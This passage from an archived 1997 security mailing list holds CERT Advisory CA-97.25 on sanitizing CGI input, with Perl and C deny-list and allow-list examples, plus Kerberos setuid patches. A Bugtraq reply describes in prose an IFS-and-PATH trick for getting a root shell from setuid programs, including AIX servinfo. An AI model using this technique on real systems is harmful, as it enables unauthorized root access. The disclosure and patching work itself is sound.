values is typically a predictable, well-defined set of manageable size. For
example, consider the tcp_wrappers package written by Wietse Venema. In the
percent_x.c module, Wietse has defined the following:
char *percent_x(...)
{
{...}
static char ok_chars[] = "1234567890!@%-_=+:,./\
abcdefghijklmnopqrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ";
{...}
for (cp = expansion; *(cp += strspn(cp, ok_chars)); /* */ )
*cp = '_';
{...}
The benefit of this approach is that the programmer is certain that
whatever string is returned, it contains only characters now under his or her
control.
This approach contrasts with the approach we discussed earlier. In the earlier
approach, which we do not recommend, the programmer must ensure that he or she
traps all characters that are unacceptable, leaving no margin for error. In
the recommended approach, the programmer errs on the side of caution and only
needs to ensure that acceptable characters are identified; thus the programmer
can be less concerned about what characters an attacker may try in an attempt
to bypass security checks.
Building on this philosophy, the Perl program we presented above could be
thus sanitized to contain ONLY those characters allowed. For example:
#!/usr/cert/bin/perl
$_ = $user_data = $ENV{'QUERY_STRING'}; # Get the data
print "$user_data\n";
$OK_CHARS='-a-zA-Z0-9_.@'; # A restrictive list, which
# should be modified to match
# an appropriate RFC, for example.
s/[^$OK_CHARS]/_/go;
$user_data = $_;
print "$user_data\n";
exit(0);
Likewise, the same updated example in C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int
main(int argc, char *argv[], char **envp)
{
static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_-.@";
char * user_data; /* our pointer to the environment string */
char * cp; /* cursor into example string */
user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);
for (cp = user_data; *(cp += strspn(cp, ok_chars)); /* */)
*cp = '_';
printf("%s\n", user_data);
exit(0);
}
5. Recommendation
We strongly encourage you to review all CGI scripts available via your web
server to ensure that any user-supplied data is sanitized using the approach
described in Section 4, adapting the example to meet whatever specification
you are using (such as the appropriate RFC).
6. Additional Tips
The following comments appeared in CERT Advisory CA-97.12 "Vulnerability in
webdist.cgi" and AUSCERT Advisory AA-97.14, "SGI IRIX webdist.cgi
Vulnerability."
We strongly encourage all sites should consider taking this opportunity
to examine their entire httpd configuration. In particular, all CGI
programs that are not required should be removed, and all those
remaining should be examined for possible security vulnerabilities.
It is also important to ensure that all child processes of httpd are
running as a non-privileged user. This is often a configurable option.
See the documentation for your httpd distribution for more details.
Numerous resources relating to WWW security are available. The
following pages may provide a useful starting point. They include
links describing general WWW security, secure httpd setup, and secure
CGI programming.
The World Wide Web Security FAQ:
http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html
The following book contains useful information including sections on
secure programming techniques.
_Practical Unix & Internet Security_, Simson Garfinkel and
Gene Spafford, 2nd edition, O'Reilly and Associates, 1996.
Please note that the CERT/CC and AUSCERT do not endorse the URL that
appears above. If you have any problem with the sites, please contact
the site administrator.
Another resource that sites can consider is the CGI.pm module. Details
about this module are available from:
http://www.genome.wi.mit.edu/ftp/pub/software/WWW/cgi_docs.html
This module provides mechanisms for creating forms and other web-based
applications. Be aware, however, that it does not absolve the programmer from
the safe-coding responsibilities discussed above.
Copyright 1997 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html and ftp://info.cert.org/pub/legal_stuff .
If you do not have FTP or web access, send mail to [email protected] with
"copyright" in the subject line.
CERT is registered in the U.S. Patent and Trademark Office.
This file: ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
Last revised November 12, 1997
Version 1.2
- -----------------------------------------------------------------------------
The CERT Coordination Center thanks Wietse Venema for some of the material
used in the cgi_metacharacters tech tip.
We thank Mark Mills for his communication with us about the bug in the
appendix and acknowledge Andrew McNaughton and Greg Bacon, who pointed
out the bug on bugtraq.
- -----------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see http://www.first.org/team-info/).
CERT/CC Contact Information
- ----------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
and are on call for emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
Using encryption
We strongly urge you to encrypt sensitive information sent by email. We can
support a shared DES key or PGP. Contact the CERT/CC for more information.
Location of CERT PGP key
ftp://ftp.cert.org/pub/CERT_PGP.key
Getting security information
CERT publications and other security information are available from
http://www.cert.org/ftp://ftp.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for advisories and bulletins, send
email to
[email protected]
In the subject line, type
SUBSCRIBE your-email-address
- ---------------------------------------------------------------------------
Copyright 1997 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html and ftp://ftp.cert.org/pub/legal_stuff .
If you do not have FTP or web access, send mail to [email protected] with
"copyright" in the subject line.
*CERT is registered in the U.S. Patent and Trademark Office.
- ---------------------------------------------------------------------------
This file: ftp://ftp.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharhttp://www.cert.org
click on "CERT Advisories"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
Nov. 12, 1997 Updated the Appendix to fix coding error.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNGnWynVP+x0t4w7BAQFgHQQAnwHRMZJGA7SuFNE2Vt6QAR143ChExpAb
KA7xBJhVYzAH7AnLc39SbA3PeDaj2kf7bfhZQHJc8SNsHRIKC6jciVHvvKmHbN5C
45mDEqfSN3OOYvD3kVsVYrG8X9KM9QfNfZZFnxx19l5PGo8y0iVYTl5AxNOadLCP
oQMg76/n8W8=
=TbZo
-----END PGP SIGNATURE-----
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 24997 invoked from network); 13 Nov 1997 03:16:33 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 13 Nov 1997 03:16:33 -0000
Received: by scylla.sovam.com id AA27302
(5.67b8s3p1/IDA-1.5 for [email protected]); Thu, 13 Nov 1997 03:55:34 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA27245
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Thu, 13 Nov 1997 03:52:56 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id FAA08486
for <[email protected]>; Thu, 13 Nov 1997 05:51:58 +0500 (ES)
Received: from [email protected] (port 12859 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <69535-14080>; Wed, 12 Nov 1997 16:13:32 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5587968 for [email protected]; Wed, 12 Nov 1997 16:11:37
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
QAA15466 for <[email protected]>; Wed, 12 Nov 1997 16:01:15 -0500
Received: from [email protected] (port 12859 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80668-14078>; Wed, 12 Nov 1997
16:01:16 -0500
Approved-By: [email protected]
Received: from VNET.IBM.COM (vnet.ibm.com [204.146.168.194]) by netspace.org
(8.8.7/8.8.2) with SMTP id PAA05544 for <[email protected]>; Wed,
12 Nov 1997 15:00:40 -0500
Received: from IPNET by VNET.IBM.COM (IBM VM SMTP V2R4) with BSMTP id 2239;
Wed, 12 Nov 97 15:00:39 EST
Received: by IPNET (XAGENTA 4.0) id 0273; Wed, 12 Nov 1997 14:55:54 -0500
Received: by bacchus.vsc.can.ibm.com (AIX4.2/UCB 8.7/4.03) id OAA13838; Wed, 12
Nov 1997 14:56:41 -0500 (EST)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-Id: <[email protected]>
Date: Wed, 12 Nov 1997 14:56:35 -0500
Reply-To: Alex Murray <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Alex Murray <[email protected]>
Subject: Re: Vunerability in Lizards game
X-To: [email protected]
To: [email protected]
In-Reply-To: <[email protected]>
from "SUID" at Nov 12, 97 04:30:03 pm
Status:
X-PMFLAGS: 34078848 0
SUID shared,
> Recently looking through the source of the suid root game called Lizards I
> noticed a vunerablity which is incredibly trivial to allow regular users
> at the console gain unauthorized root access.
....
> privilidges, it executes "clear" (supposed to be /usr/bin/clear) as root,
....
> Lame fix: chmod -s /usr/games/lizardlib/lizardshi
> Better fix: Change the source code, recompile lizards to reference "clear"
> absoloutley.
Even if you change system("clear") to system("/usr/ucb/clear"), the user can
still invoke lizards in a /bin/sh environment where IFS contains the "/"
character and simply provide something called "usr" in their path which
invokes a root shell. Unless Linux does something clever to prevent this, or
unless lizards is smart enough to check the IFS environment variable, that is.
In a brand spanking new AIX 3.2.5 system, the /usr/lpp/servinfo/servinfo
command (if installed) contains this sort of creature; if the
/usr/lpp/servinfo/data/siAPARs.db.Z file has not yet been uncompressed,
servinfo executes a system call to /usr/bin/uncompress -f to make it happen.
The servinfo command is mode 4755 owned by root and trusts the environment you
give it. On occasion this has come in handy. :)
I have also seen patched systems where servinfo is owned by nobody. (I don't
have the PTF number handy, surf the IBM web site for more info.) Then again,
it's occasionally useful to be known as nobody, too...
_Alex
#include <std/disclaim.h>
_____________________________________________________________________________
Alex Murray [email protected]
IBM Canada, Call Centre Solutions +1 905 316-4243 fax 316-2156
_http://www.can.ibm.com/ccs__________________________________________________
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 25036 invoked from network); 13 Nov 1997 03:17:08 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 13 Nov 1997 03:17:08 -0000
Received: by scylla.sovam.com id AA26901
(5.67b8s3p1/IDA-1.5 for [email protected]); Thu, 13 Nov 1997 03:37:26 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA26894
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Thu, 13 Nov 1997 03:36:20 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id FAA08298
for <[email protected]>; Thu, 13 Nov 1997 05:34:45 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id LAA20640;
Thu, 13 Nov 1997 11:12:17 +1100 (EST)
Resent-Date: Thu, 13 Nov 1997 11:12:17 +1100 (EST)
Message-Id: <[email protected]>
Date: Mon, 10 Nov 1997 16:59:08 -0600
Reply-To: [email protected]
Sender: [email protected]
Comments: Resent-From: Aleph One <[email protected]>
Comments: Originally-From: CERT Advisory <[email protected]>
From: Aleph One <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
Old-X-Originally-To: To: [email protected]
Old-X-Originated-From: From: Aleph One <[email protected]>
Resent-Message-Id: <"942adC.A.RvB.Ueba0"@plum>
X-Loop: [email protected]
Errors-To: [email protected]
Precedence: list
Resent-Sender: [email protected]
To: [email protected]
Resent-From: [email protected]
X-Mailing-List: <[email protected]> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail [email protected] with Subject: unsubscribe
Subject: BoS: CERT Advisory CA-97.25 - CGI_metachar
Status:
X-PMFLAGS: 33554560 0
-----BEGIN PGP SIGNED MESSAGE-----
CERT* Advisory CA-97.25.CGI_metachar
Original issue date: Nov. 10, 1997
Last revised: --
Topic: Sanitizing User-Supplied Data in CGI Scripts
- -----------------------------------------------------------------------------
The CERT Coordination Center has received reports and seen mailing list
discussions of a problem with some CGI scripts, which allow an attacker to
execute arbitrary commands on a WWW server under the effective user-id of the
server process. The problem lies in how the scripts are written, NOT in the
scripting languages themselves.
The CERT/CC team urges you to check all CGI scripts that are available via the
World Wide Web services at your site and ensure that they sanitize
user-supplied data. We have written a tech tip on how to do this (see Section
III).
We will update the tech tip (rather than this advisory) if we receive
additional information.
- -----------------------------------------------------------------------------
I. Description
Some CGI scripts have a problem that allows an attacker to execute
arbitrary commands on a WWW server under the effective user-id of the
server process. The cause of the problem is not the CGI scripting
language (such as Perl and C). Rather, the problem lies in how an
individual writes his or her script. In many cases, the author of the
script has not sufficiently sanitized user-supplied input.
II. Impact
If user-supplied data is not sufficiently sanitized, local and remote
users may be able to execute arbitrary commands on the HTTP server with
the privileges of the httpd daemon. They may then be able to compromise
the HTTP server and under certain configurations gain privileged access.
III. Solution
We strongly encourage you to review all CGI scripts that are available
via WWW services at your site. You should ensure that these scripts
sufficiently sanitize user-supplied data.
We recommend carrying out this review on a regular basis and whenever new
scripts are made available.
For advice about what to look for and how to address the problem,
see our tech tip on meta-characters in CGI scripts, available from
ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
We have placed the November 5, 1997, version of this tech tip in an
appendix of this advisory for your convenience. We may update this tech
tip in the future, so please check the electronic version for the most
current information.
If you believe that a script does not sufficiently sanitize
user-supplied data then we encourage you to disable the script and
consult the script author for a patch.
If the script author is unable to supply a patched version, sites with
sufficient expertise may wish to patch the script themselves, adapting
the material in our tech tip to meet whatever specification is required
(such as the appropriate RFC).
(NOTE: We cannot offer any further assistance on source code patching
than that given in the tech tip mentioned above.)
.............................................................................
Appendix - Tech Tip on CGI Metacharacters (version 1.1, Nov. 5, 1997)
The tech tip below may be updated in the future. For the most current version,
see ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
How To Remove Meta-characters From User-Supplied Data In CGI Scripts
1. Definition of the Problem
We have noticed several reports to us and to public mailing lists about CGI
scripts that allow an attacker to execute arbitrary commands on a WWW
server under the effective user-id of the server process.
In many of these cases, the author of the script has not sufficiently
sanitized user-supplied input.
2. Definition of "Sanitize"
Consider an example where a CGI script accepts user-supplied data. In
practice, this data may come from any number of sources of user-supplied
data; but for this example, we will say that the data is taken from an
environment variable $QUERY_STRING. The manner in which data was inserted
into the variable is not important - the important point here is that the
programmer needs to gain control over the contents of the data in
$QUERY_STRING before further processing can occur. The act of gaining this
control is called "sanitizing" the data.
3. A Common But Inadvisable Approach
A script writer who is aware of the need to sanitize data may decide to
remove a number of well-known meta-characters from the script and replace
them with underscores. A common but inadvisable way to do this is by
removing particular characters.
For instance, in Perl:
#!/usr/local/bin/perl
$user_data = $ENV{'QUERY_STRING'}; # Get the data
print "$user_data\n";
$user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g; # Remove bad characters. WRONG!
print "$user_data\n";
exit(0);
In C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int
main(int argc, char *argv[], char **envp)
{
static char bad_chars[] = "/ ;[]<>&\t";
char * user_data; /* our pointer to the environment string */
char * cp; /* cursor into example string */
/* Get the data */
user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);
/* Remove bad characters. WRONG! */
for (cp = user_data; *(cp += strcspn(cp, bad_chars)); /* */)
*cp = '_';
printf("%s\n", user_data);
exit(0);
}
In this method, the programmer determines which characters should NOT be
present in the user-supplied data and removes them. The problem with this
approach is that it requires the programmer to predict all possible inputs.
If the user uses input not predicted by the programmer, then there is the
possibility that the script may be used in a manner not intended by the
programmer.
4. A Recommended Approach
A better approach is to define a list of acceptable characters and replace any
character that is NOT acceptable with an underscore. The list of valid input
values is typically a predictable, well-defined set of manageable size. For
example, consider the tcp_wrappers package written by Wietse Venema. In the
percent_x.c module, Wietse has defined the following:
char *percent_x(...)
{
{...}
static char ok_chars[] = "1234567890!@%-_=+:,./\
abcdefghijklmnopqrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ";
{...}
for (cp = expansion; *(cp += strspn(cp, ok_chars)); /* */ )
*cp = '_';
{...}
The benefit of this approach is that the programmer is certain that
whatever string is returned, it contains only characters now under his or her
control.
This approach contrasts with the approach we discussed earlier. In the earlier
approach, which we do not recommend, the programmer must ensure that he or she
traps all characters that are unacceptable, leaving no margin for error. In
the recommended approach, the programmer errs on the side of caution and only
needs to ensure that acceptable characters are identified; thus the programmer
can be less concerned about what characters an attacker may try in an attempt
to bypass security checks.
Building on this philosophy, the Perl program we presented above could be
thus sanitized to contain ONLY those characters allowed. For example:
#!/usr/cert/bin/perl
$_ = $user_data = $ENV{'QUERY_STRING'}; # Get the data
print "$user_data\n";
$OK_CHARS='a-zA-Z0-9_\-\.@'; # A restrictive list, which
# should be modified to match
# an appropriate RFC, for example.
eval "tr/[$OK_CHARS]/_/c";
$user_data = $_;
print "$user_data\n";
exit(0);
Likewise, the same updated example in C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int
main(int argc, char *argv[], char **envp)
{
static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_-.@";
char * user_data; /* our pointer to the environment string */
char * cp; /* cursor into example string */
user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);
for (cp = user_data; *(cp += strspn(cp, ok_chars)); /* */)
*cp = '_';
printf("%s\n", user_data);
exit(0);
}
5. Recommendation
We strongly encourage you to review all CGI scripts available via your web
server to ensure that any user-supplied data is sanitized using the approach
described in Section 4, adapting the example to meet whatever specification
you are using (such as the appropriate RFC).
6. Additional Tips
The following comments appeared in CERT Advisory CA-97.12 "Vulnerability in
webdist.cgi" and AUSCERT Advisory AA-97.14, "SGI IRIX webdist.cgi
Vulnerability."
We strongly encourage all sites should consider taking this opportunity
to examine their entire httpd configuration. In particular, all CGI
programs that are not required should be removed, and all those
remaining should be examined for possible security vulnerabilities.
It is also important to ensure that all child processes of httpd are
running as a non-privileged user. This is often a configurable option.
See the documentation for your httpd distribution for more details.
Numerous resources relating to WWW security are available. The
following pages may provide a useful starting point. They include
links describing general WWW security, secure httpd setup, and secure
CGI programming.
The World Wide Web Security FAQ:
http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html
The following book contains useful information including sections on
secure programming techniques.
_Practical Unix & Internet Security_, Simson Garfinkel and
Gene Spafford, 2nd edition, O'Reilly and Associates, 1996.
Please note that the CERT/CC and AUSCERT do not endorse the URL that
appears above. If you have any problem with the sites, please contact
the site administrator.
Another resource that sites can consider is the CGI.pm module. Details
about this module are available from:
http://www.genome.wi.mit.edu/ftp/pub/software/WWW/cgi_docs.html
This module provides mechanisms for creating forms and other web-based
applications. Be aware, however, that it does not absolve the programmer from
the safe-coding responsibilities discussed above.
Copyright 1997 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html and ftp://info.cert.org/pub/legal_stuff .
If you do not have FTP or web access, send mail to [email protected] with
"copyright" in the subject line.
CERT is registered in the U.S. Patent and Trademark Office.
This file: ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
Last revised November 5, 1997
Version 1.1
- -----------------------------------------------------------------------------
The CERT Coordination Center thanks Wietse Venema for some of the material
used in the cgi_metacharacters tech tip.
- -----------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see http://www.first.org/team-info/).
CERT/CC Contact Information
- ----------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
and are on call for emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
Using encryption
We strongly urge you to encrypt sensitive information sent by email. We can
support a shared DES key or PGP. Contact the CERT/CC for more information.
Location of CERT PGP key
ftp://ftp.cert.org/pub/CERT_PGP.key
Getting security information
CERT publications and other security information are available from
http://www.cert.org/ftp://ftp.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for advisories and bulletins, send
email to
[email protected]
In the subject line, type
SUBSCRIBE your-email-address
- ---------------------------------------------------------------------------
Copyright 1997 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html and ftp://ftp.cert.org/pub/legal_stuff .
If you do not have FTP or web access, send mail to [email protected] with
"copyright" in the subject line.
*CERT is registered in the U.S. Patent and Trademark Office.
- ---------------------------------------------------------------------------
This file: ftp://ftp.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharhttp://www.cert.org
click on "CERT Advisories"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNGc7XnVP+x0t4w7BAQEz4wQAwipCmm85LLx3vJqz3tuA6UBzrenotLQa
NrSsyldb2YjIov8ScTFpIhRU9PK3UnEORj5iG5l5ouhpBNyHdTDJZMQZzVQjuf84
jCL/p03JjKG1gQUdngsZKm1U22sDre42zyWBC8kNlgXrATC7rjRvMn86qQbM+TZe
JwOmvPfCrgA=
=mlVy
-----END PGP SIGNATURE-----
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 16308 invoked from network); 12 Nov 1997 17:01:38 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 12 Nov 1997 17:01:38 -0000
Received: by scylla.sovam.com id AA24471
(5.67b8s3p1/IDA-1.5 for [email protected]); Wed, 12 Nov 1997 18:25:38 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA23667
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Wed, 12 Nov 1997 18:20:08 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id UAA22561
for <[email protected]>; Wed, 12 Nov 1997 20:18:34 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id XAA04952;
Wed, 12 Nov 1997 23:08:17 +1100 (EST)
Resent-Date: Wed, 12 Nov 1997 23:08:17 +1100 (EST)
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.SUN.3.96.971106111140.1701A-100000@linnea-grind.stacken.kth.se>
Date: Thu, 6 Nov 1997 11:25:03 +0100
Reply-To: Mattias Amnefelt <[email protected]>
Sender: [email protected]
From: Mattias Amnefelt <[email protected]>
Old-X-Originally-To: To: [email protected]
Old-X-Originated-From: From: Mattias Amnefelt <[email protected]>
Resent-Message-Id: <"8aXy8B.A.qxD.b7Qa0"@plum>
X-Loop: [email protected]
Errors-To: [email protected]
Precedence: list
Resent-Sender: [email protected]
To: [email protected]
Resent-From: [email protected]
X-Mailing-List: <[email protected]> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail [email protected] with Subject: unsubscribe
Subject: BoS: Re: Major security-hole in kerberos rsh, rcp and rlogin.
Status:
X-PMFLAGS: 34078848 0
The security hole in kerberos:
Affects:
kth-krb4
Background:
Every user on a kerberized system has a ticket-file. Only the owner should
be able to read this file. The name of the ticketfile is stored in the
environment-variable KRBTKFILE.
The hole:
The versions of rsh, rcp and rlogin in the kth-krb4 package are setuid to work
with bsd-style rshd and rlogind. When they attempt to read the ticketfile,
there is no check if the user starting the program has read access of the file.
Thus, a user can use any other user on the system's ticketfile by simply
changing an environment variable.
Quick Workaround:
Disable the suid-bits on rcp, rsh and rlogin. This will disable the program's
capabilities to fallback to the non-kerberised protocols if the a user fails
to authenticate himself.
Permanent fix:
Change the uid of the program to the user's uid as early as possible
(patches from the development team are included, plus two other
security patches for kth-kerberos which might be useful to the bugtraq
community).
_- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - _
| Mattias Amnefelt | This is a Unix system, I know this. |
| email: [email protected] | - Lex, Jurassic Park |
| phone: +46-(0)70-6970872 | |
-_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ -
------- Start of forwarded mail -------
>>From [email protected] Tue Nov 4 22:08:18 1997
Date: 03 Nov 1997 18:35:40 +0100
From: Assar Westerlund <[email protected]>
To: [email protected], [email protected]Subject: security patches for 0.9.6
The enclosed patch to 0.9.6 fixes three security problems:
1. the tgetent buffer overflow. This is fixed by simply not calling
tgetent.
2. vulnerability of setuid rsh, rlogin, and rcp. (mentioned in a
confusion post on bugtraq).
3. missing IP-nummer check in telnetd.
NOTE: we recommend against running rsh/rlogin/rcp setuid.
This fix will of course be included in an upcoming version RSN.
Assar, Bjorn, and Johan
Index: appl/bsd/rcp.c
RCS file: /afs/pdc.kth.se/src/packages/kth-krb/src/krb4/appl/bsd/rcp.c,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -w -r1.43 -r1.44
--- rcp.c 1997/05/13 09:41:26 1.43
+++ rcp.c 1997/11/03 11:18:02 1.44
@@ -49,6 +49,9 @@
static uid_t userid;
static int pflag, iamremote, iamrecursive, targetshouldbedirectory;
+static int argc_copy;
+static char **argv_copy;
+
#define CMDNEEDS 64
static char cmd[CMDNEEDS]; /* must hold "rcp -r -p -d\0" */
@@ -403,8 +406,9 @@
kerberos(char **host, char *bp, char *locuser, char *user)
{
int sock = -1, err;
-again:
+
if (use_kerberos) {
+ setuid(getuid());
rem = KSUCCESS;
errno = 0;
if (dest_realm == NULL)
@@ -439,13 +443,11 @@
rem = sock;
#endif
if (rem < 0) {
- use_kerberos = 0;
- port = get_shell_port(use_kerberos, 0);
if (errno == ECONNREFUSED)
oldw("remote host doesn't support Kerberos");
else if (errno == ENOENT)
oldw("can't provide Kerberos authentication data");
- goto again;
+ execv(_PATH_RCP, argv_copy);
}
} else {
if (doencrypt)
@@ -906,8 +908,28 @@
{
int ch, fflag, tflag;
char *targ;
+ int i;
set_progname(argv[0]);
+
+ /*
+ * Prepare for execing ourselves.
+ */
+
+ argc_copy = argc + 1;
+ argv_copy = malloc((argc_copy + 1) * sizeof(*argv_copy));
+ if (argv_copy == NULL)
+ err(1, "malloc");
+ argv_copy[0] = argv[0];
+ argv_copy[1] = "-K";
+ for(i = 1; i < argc; ++i) {
+ argv_copy[i + 1] = strdup(argv[i]);
+ if (argv_copy[i + 1] == NULL)
+ errx(1, "strdup: out of memory");
+ }
+ argv_copy[argc + 1] = NULL;
+
+
fflag = tflag = 0;
while ((ch = getopt(argc, argv, OPTIONS)) != EOF)
switch(ch) { /* User-visible flags. */
@@ -951,8 +973,10 @@
* kshell service, pass 0 for no encryption */
port = get_shell_port(use_kerberos, 0);
+ userid = getuid();
+
#ifndef __CYGWIN32__
- if ((pwd = k_getpwuid(userid = getuid())) == NULL)
+ if ((pwd = k_getpwuid(userid)) == NULL)
errx(1, "unknown user %d", (int)userid);
#endif
Index: appl/bsd/rlogin.c
RCS file: /afs/pdc.kth.se/src/packages/kth-krb/src/krb4/appl/bsd/rlogin.c,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -w -r1.61 -r1.62
--- rlogin.c 1997/05/25 01:14:47 1.61
+++ rlogin.c 1997/11/03 11:18:09 1.62
@@ -594,14 +594,12 @@
usage();
}
optind += argoff;
- argc -= optind;
- argv += optind;
/* if haven't gotten a host yet, do so */
- if (!host && !(host = *argv++))
+ if (!host && !(host = argv[optind++]))
usage();
- if (*argv)
+ if (argv[optind])
usage();
if (!(pw = k_getpwuid(uid = getuid())))
@@ -609,7 +607,6 @@
if (!user)
user = pw->pw_name;
-
if (user_port)
sv_port = user_port;
else
@@ -636,17 +633,8 @@
get_window_size(0, &winsize);
- try_connect:
if (use_kerberos) {
- struct hostent *hp;
-
- /* Fully qualify hostname (needed for krb_realmofhost). */
- hp = gethostbyname(host);
- if (hp != NULL && !(host = strdup(hp->h_name))) {
- errno = ENOMEM;
- err(1, NULL);
- }
-
+ setuid(getuid());
rem = KSUCCESS;
errno = 0;
if (dest_realm == NULL)
@@ -659,15 +647,22 @@
rem = krcmd(&host, sv_port, user, term, 0,
dest_realm);
if (rem < 0) {
- use_kerberos = 0;
- if (user_port == 0)
- sv_port = get_login_port(use_kerberos,
- doencrypt);
+ int i;
+ char **newargv;
+
if (errno == ECONNREFUSED)
warning("remote host doesn't support Kerberos");
if (errno == ENOENT)
warning("can't provide Kerberos auth data");
- goto try_connect;
+ newargv = malloc((argc + 2) * sizeof(*newargv));
+ if (newargv == NULL)
+ err(1, "malloc");
+ newargv[0] = argv[0];
+ newargv[1] = "-K";
+ for(i = 1; i < argc; ++i)
+ newargv[i + 1] = argv[i];
+ newargv[argc + 1] = NULL;
+ execv(_PATH_RLOGIN, newargv);
}
} else {
if (doencrypt)
Index: appl/bsd/rsh.c
RCS file: /afs/pdc.kth.se/src/packages/kth-krb/src/krb4/appl/bsd/rsh.c,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -w -r1.36 -r1.37
--- rsh.c 1997/06/26 13:48:35 1.36
+++ rsh.c 1997/11/03 11:18:14 1.37
@@ -247,9 +247,6 @@
err(1, "can't exec %s", _PATH_RLOGIN);
}
- argc -= optind;
- argv += optind;
-
#ifndef __CYGWIN32__
if (!(pw = k_getpwuid(uid = getuid())))
errx(1, "unknown user id.");
@@ -266,12 +263,12 @@
if (doencrypt)
nfork = 0;
- args = copyargs(argv);
+ args = copyargs(argv+optind);
sv_port=get_shell_port(use_kerberos, doencrypt);
-try_connect:
if (use_kerberos) {
+ setuid(getuid());
rem = KSUCCESS;
errno = 0;
if (dest_realm == NULL)
@@ -284,13 +281,22 @@
rem = krcmd(&host, sv_port, user, args, &rfd2,
dest_realm);
if (rem < 0) {
